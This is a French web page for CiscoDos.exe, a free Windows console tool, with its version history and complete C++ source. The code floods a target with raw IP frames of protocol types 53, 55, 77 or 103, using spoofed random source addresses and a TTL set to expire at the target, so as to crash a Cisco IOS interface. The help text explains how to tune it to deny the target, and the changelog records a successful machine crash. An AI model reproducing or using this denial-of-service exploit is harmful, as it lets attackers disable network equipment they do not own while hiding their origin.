CiscoDos.exe
par _SebF

1 - Définition de l'exécutable
2 - Screen shot
3 - Download
4 - Suivi du développement
        4.1 - Problème restant
        4.2 - RoadMap
        4.3 - Suivi du projet
5 - Code source
        5.1 - CiscoDos.cpp

1 - Définition de l'exécutable

L'utilitaire CiscoDos envoi des trame IP basé sur les protocoles IP de type 53, 55, 77 et 103. il permet donc de réaliser l'attaque Cisco afin de rendre inutilisable une interface. L'intérêt de cet utilitaire est de pouvoir changer son IP source de manière aléatoire.

Posez vos questions, remarques, demande d'évolution et retour d'expérience sur le Forum dédié aux outils

2 - Screen shot

TCPIP IPV6 VOIP VPN IP IPV4

3 - Download

Nom : CiscoDos.exe
Mode : Console
Version : 4.0
Librairie : 3.10
Taille : 56 Ko
Auteur : _SebF
Date de création : 28 Juillet 2003
Dernière compilation : 29 Août 2006

4 - Suivi du développement

4.1 - Problème restant

4.2 - RoadMap

4.3 - Suivi du projet

2006.08.29

V4.0.3.10

 - Migration vers Libpcap
 - Ajout des arguments -send_mode -interface
 - Affichage de l'IP_TYPE choisit au lieu du nombre d'octet envoyé

2004.11.08

V3.4.3.9

 - Correction du bug sur la résolution de nom d'host spécifié dans -ip_source

2003.11.22

V3.3.3.5

 - Changement de l'email dans l'aide.
 - Remplacement de l'email par l'url www.frameip.com dans les data.

2003.08.06

V3.2.3.3

 - Changement du protocole par défaut à 77 au lieu de 103.

2003.08.06

V3.2

 - Intégration du paramètre char [65535] dans la procédure des gestions d'erreurs.

2003.08.06

V3.1

 - Nouvel gestion des arguments intégrant les /.
 - Suppression des résolutions de noms à l'affichage de l'aide.
 - Changement de la définition de la variable longueur_de_data_a_envoyer de int en size_t.

2003.08.06

V2.4

 - Intégration du nouveau loops infinie géré dans la gestion des arguments.

2003.08.04

V2.4

 - Suppression de la struct TCP dans la longueur à émettre. Erreur de copier coller.
 - Ajout de l'option Ip Source aléatoire.
 - Ajout du code erreur 5.

2003.07.30

V2.3

 - Suppression des 3 Warning.

2003.07.29

V2.2

 - Gestion des codes d'erreurs.
 - Control du fonctionnement des arguments.
 - Intégration du While permettant la boucle.

2003.07.29

V2.1

 - Intégration des variable ip_source_initiale et ip_destination_initiale.
 - Intégration de l'argument loops.
 - Refonte de l'affichage de l'aide.

2003.07.28

V1.0

 - Création du projet Cmd.
 - Passage en Level 4.
 - Suppression du répertoire Debug.
 - Gestion de l'argument de la boucle.
 - Test de crash d'une machine => OK.

5 - Code source

5.1 - CiscoDos.cpp

// ********************************************************
// ********************************************
// Nom : CiscoDos.cpp
// Auteur : _SebF@frameIP.com.pas.de.spam
// Date de création : 28 Juillet 2003
// version : 4.0.3.10
// Licence : Cette executable est libre de toute utilisation.
//           La seule condition existante est de faire référence
//           au site http://www.frameip.com afin de respecter le travail d'autrui.
// ********************************************

// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"

// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")

// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void affichage_de_l_aide(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);

// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac;                                    // Entête Ethernet
struct ipv4 entete_ipv4;                                   // Entete IP
char data_a_envoyer[65535];                         // Data
size_t taille_de_data;    // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535];                     // Entete IP + data
int nombre_de_caractere_emis;                       // Variable récupérant le nombre de caractères émis
unsigned long loops;                                                    // Compteur permettant de lancer x fois les trames
char ip_destination[16];           // Adresse IP Destination permettant d'initier entete_ipv4.ip_destination
bool bouclage_infinie;                                      // Variable permettant de définir le mode de boucle infinie (quand loops=0)
bool ip_source_aleatoire;                                // Acive ou désactive le mode IP Source Aléatoire
unsigned int choix_mode_d_envoi;                                                      // Variable définissant le mode d'envoi (0=Soket - 1=Libpcap)
unsigned char numero_de_l_interface;                                     // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon;                                          // Adresse MAC

int main (int argc, char* argv[])
            {
            initiation_des_variables();
            gestion_des_arguments(argc,argv);
            if (loops==0)                                                   // Conditionne si le bouclage infinie
                        bouclage_infinie=TRUE;                     
            while ( (loops!=0)||(bouclage_infinie==TRUE) )
                        {
                        loops--;
                        Changement_aleatoire_des_valeurs();

                        // ********************************************************
                        // Envoi de la trame
                        // ********************************************************
                        if (choix_mode_d_envoi==0)
                                   envoi_de_la_trame_winsock();
                        else
                                   envoi_de_la_trame_pcap();

                        affichage_du_resultat();
                        }
            printf("\n\n");
            return(1);
            }

void initiation_des_variables(void)
            {
            unsigned int i;

            // ********************************************************
            // Initiation diverse
            // ********************************************************
            srand(GetTickCount());
                       
            // ********************************************************
            // Affichage de la banniere
            // ********************************************************
            printf("\nCiscoDos - Deny Of Service Cisco IOS - Version 4.0.3.10");
            printf("\nCreate on July 28, 2003, Last compilation on August 29, 2006");
            printf("\nCreated by Sebastien FONTAINE - http://www.frameip.com");
            printf("\n");

            // ********************************************************
            // Initiation des arguments
            // ********************************************************
            loops=1;
            bouclage_infinie=false;
            ip_source_aleatoire=true;
            choix_mode_d_envoi=1;
            numero_de_l_interface=0;
            liste_des_interfaces=recuperation_des_interfaces();

            // ********************************************************
            // Options de l'entête MAC
            // ********************************************************
            adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
            for (i=0;i<6;i++)
                        {
                        entete_mac.source[i]=adresse_mac_tampon.adresse[i];
                        entete_mac.destination[i]=255;
                        }
            entete_mac.type=htons(2048); // 08 00 indiquant un datagramme IP

            // ********************************************************
            // Initialisation des data
            // ********************************************************
            strcpy(data_a_envoyer,"www.frameip.com");
            taille_de_data=strlen(data_a_envoyer);

            // ********************************************************
            // Initialisation de l'entete Ip
            // ********************************************************
            entete_ipv4.ihl=5;
            entete_ipv4.version=4;
            entete_ipv4.tos=0;
            entete_ipv4.length=0;
            entete_ipv4.id=0;                                                        // Il est initialisé plutard
            entete_ipv4.offset=0;
            entete_ipv4.ttl=100;
            entete_ipv4.type=77;
            entete_ipv4.ip_source=0;                                // Il est initialisé plutard
            strcpy(ip_destination,"192.168.101.254");
            entete_ipv4.ip_destination=resolution_de_nom(TRUE,ip_destination);
            }

void affichage_de_l_aide(void)
            {
            unsigned int i;

            printf("\n");
            printf("\n-?                    This help");
            printf("\n-send_mode            0=Soket 1=Libpcap  Default: %d",choix_mode_d_envoi);
            printf("\n-loops                Number of loops    Default: %d (0 => no stop)",loops);

            printf("\n\nFREE INTERFACES");
            for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
                        printf("\n%d - %s",i,liste_des_interfaces.description[i]);
            printf("\n-interface            Interface choice   Default: %d",numero_de_l_interface);

            printf("\n\nIP HEADER OPTIONS (-mac_type 2048)");
            printf("\n-ip_source            @Ip or host name   Default: %d (0 => random)",entete_ipv4.ip_source);
            printf("\n-ip_destination       @Ip or host name   Default: %s (0 => random)",ip_destination);
            printf("\n-ip_ttl               Time To Live       Default: %d",entete_ipv4.ttl);
            printf("\n-ip_type              Ip Protocol        Default: %d",entete_ipv4.type);

            printf("\n");
            printf("\nsample : ciscodos.exe -interface 2 -ip_ttl 9 -loops 100");
            printf("\n");
            printf("\nYou must choise the good TTL, because the frame must expire to the target.");
            printf(" If you want to deny the target, you must send servals frames to full the target queue.");
            printf(" You must try to deny only YOUR equipment.");
            printf("\n");
            printf("\n");
            exit(0);
            }

void gestion_des_arguments(int argc,char* argv[])
            {
            char *caractere_non_convertit;
            int i;

            // ********************************************************
            // S'il n'y a pas d'argument
            // ********************************************************
            if (argc==1)
                        affichage_de_l_aide();

            // ********************************************************
            // Récupération des arguments
            // ********************************************************
            for (i=1;i<argc;i=i+1)
                        {
                        // ********************************************************
                        // Options diverses
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-?")==0) || (strcmp(strlwr(argv[i]),"/?")==0) )
                                   affichage_de_l_aide();
                        if (strcmp(strlwr(argv[i]),"-send_mode")==0)
                                   {
                                   choix_mode_d_envoi=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                        if (choix_mode_d_envoi!=1)
                                               choix_mode_d_envoi=0;
                                   }
                                                           if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
                                   {
                                   loops=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                                    if (loops==0)
                                               bouclage_infinie=TRUE;
                                   else
                                               bouclage_infinie=FALSE;
                                   }

                        // ********************************************************
                        // Choix de l'interface
                        // ********************************************************
                        if (strcmp(strlwr(argv[i]),"-interface")==0)
                                   numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);

                        // ********************************************************
                        // Options de l'entête IP
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-ip_source")==0) || (strcmp(strlwr(argv[i]),"/ip_source")==0) )
                                   if (argv[i+1]==0)
                                               ip_source_aleatoire=TRUE;
                                   else
                                               {
                                               ip_source_aleatoire=FALSE;
                                               entete_ipv4.ip_source=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
                                               }
                        if ( (strcmp(strlwr(argv[i]),"-ip_destination")==0) || (strcmp(strlwr(argv[i]),"/ip_destination")==0) )
                                   entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
                        if ( (strcmp(strlwr(argv[i]),"-ip_ttl")==0) || (strcmp(strlwr(argv[i]),"/ip_ttl")==0) )
                                   entete_ipv4.ttl=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                        if ( (strcmp(strlwr(argv[i]),"-ip_type")==0) || (strcmp(strlwr(argv[i]),"/ip_type")==0) )
                                   entete_ipv4.type=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                        }

            // ********************************************************
            // Préparation des adresses MAC
            // ********************************************************
            adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
            for (i=0;i<6;i++)
                        entete_mac.source[i]=adresse_mac_tampon.adresse[i];
            }

void Changement_aleatoire_des_valeurs()
            {
            // ********************************************************
            // Random de l'IP Source
            // ********************************************************
            if (ip_source_aleatoire==TRUE)
                        entete_ipv4.ip_source=generation_d_une_adresse_ip_aleatoire(0);

            // ********************************************************
            // Random de l'ID IP
            // ********************************************************
            entete_ipv4.id=(unsigned short)(rand()%65536);                                                        // Tire entre 0 et 65535
    }

void envoi_de_la_trame_winsock(void)
            {
            WSADATA initialisation_win32;
            SOCKADDR_IN information_sur_la_destination;
            SOCKET id_de_la_socket;
            int tampon;

            // ********************************************************
            // Initialisation de la Socket
            // ********************************************************
            if (WSAStartup(MAKEWORD(2,2),&initialisation_win32)!=0)
                        gestion_des_erreurs(1,"WSAStartup",1,1);     

            // ********************************************************
            // Ouverture d'une Socket
            // ********************************************************
            id_de_la_socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
            if (id_de_la_socket==INVALID_SOCKET)
                        gestion_des_erreurs(1,"socket",1,1);   

            // ********************************************************
            // Activation de l'option permettant d'inclure l'entete IP lors de l'emission
            // ********************************************************
            if (setsockopt(id_de_la_socket,IPPROTO_IP,IP_HDRINCL,(char *)&tampon,sizeof(tampon))!=0)
                        gestion_des_erreurs(1,"setsockopt",1,1);        

            // ********************************************************
            // Préparation de la trame à envoyé
            // ********************************************************
            memcpy(trame_a_envoyer,(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
            memcpy(trame_a_envoyer+sizeof(struct ipv4),data_a_envoyer,taille_de_data);

            // ********************************************************
            // Paramètre nécessaire au sendto
            // ********************************************************
            information_sur_la_destination.sin_family=AF_INET;
            information_sur_la_destination.sin_addr.s_addr=entete_ipv4.ip_destination;

            // ********************************************************
            // Envoi de la trame en winsock
            // ********************************************************
            nombre_de_caractere_emis=sendto(id_de_la_socket,(char *)trame_a_envoyer,sizeof(struct ipv4)+(int)taille_de_data,0,(struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
            if (nombre_de_caractere_emis==-1)
                        gestion_des_erreurs(1,"sendto",1,1);
           
            // ********************************************************
            // Fermeture de la socket correspondant à la commande socket()
            // ********************************************************
            closesocket(id_de_la_socket);

            // ********************************************************
            // quite propement le winsock ouvert avec la commande WSAStartup
            // ********************************************************
            WSACleanup(); //  (A appeller autant de fois qu'il a été ouvert)
            }

void envoi_de_la_trame_pcap(void)
            {
            pcap_t *pointeur_interface;
            char buffer_d_erreur[PCAP_ERRBUF_SIZE];

            // ********************************************************
            // Accède à l'interface
            // ********************************************************
            if ((pointeur_interface=pcap_open_live(liste_des_interfaces.nom[numero_de_l_interface], 65536,0,1000,buffer_d_erreur))==NULL)
                        gestion_des_erreurs(1,"pcap_open_live",1,1);

            // ********************************************************
            // Calcul de la longueur totale
            // ********************************************************
            entete_ipv4.length=htons((unsigned short)(sizeof(struct ipv4)+taille_de_data));

            // ********************************************************
            // Calcul du checksum IP
            // ********************************************************
            entete_ipv4.checksum=calcul_du_checksum_ip(false,entete_ipv4);

            // ********************************************************
            // Concatenation des différentes couches
            // ********************************************************
            memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac));
            memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
            memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4),data_a_envoyer,taille_de_data); 

            // ********************************************************
            // Envoi de la trame
            // ********************************************************
            if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,sizeof(struct mac)+sizeof(struct ipv4)+taille_de_data)!=0)
                        gestion_des_erreurs(1,"pcap_sendpacket",1,1);                     

            // ********************************************************
            // Fermeture de l'accès à l'interface
            // ********************************************************
            pcap_close(pointeur_interface);          
            }

void affichage_du_resultat()
            {
            struct in_addr convertion_inet_addr;
           
            // ********************************************************
            // Affichage du resultat
            // ********************************************************
            convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_source;
            printf("\nThe frame was sent with ip_type %d from %s",entete_ipv4.type,inet_ntoa(convertion_inet_addr));
            convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_destination;
            printf(" to %s",inet_ntoa(convertion_inet_addr));
            }



mot clé : dos cisco software free type 103 1700 ttl new red hat cisco protocoles IP tool programme 3600 2003 routeur interface hacker console shareware type 53 hacking ipv6 catalyst black hat ip executable ipv4 type 55 type 77 flooding freeware win32 pirate utilitaire trame 800 time to live switch exe ip source 2600 vpn 7200 flood 7300 28 juillet download tcpip voip outil windows hack

Copyright © 2011-2015 FrameIP TcpIP. Tous droits réservés. Les marques et marques commerciales mentionnées appartiennent à leurs propriétaires respectifs. L'utilisation de ce site Web TcpIP implique l'acceptation des conditions d'utilisation et du règlement sur le respect de la vie privée.
Sécurité entreprise Téléphonie entreprise Expert de votre Infrastructure Test ADSL Serinya Operateur Telecom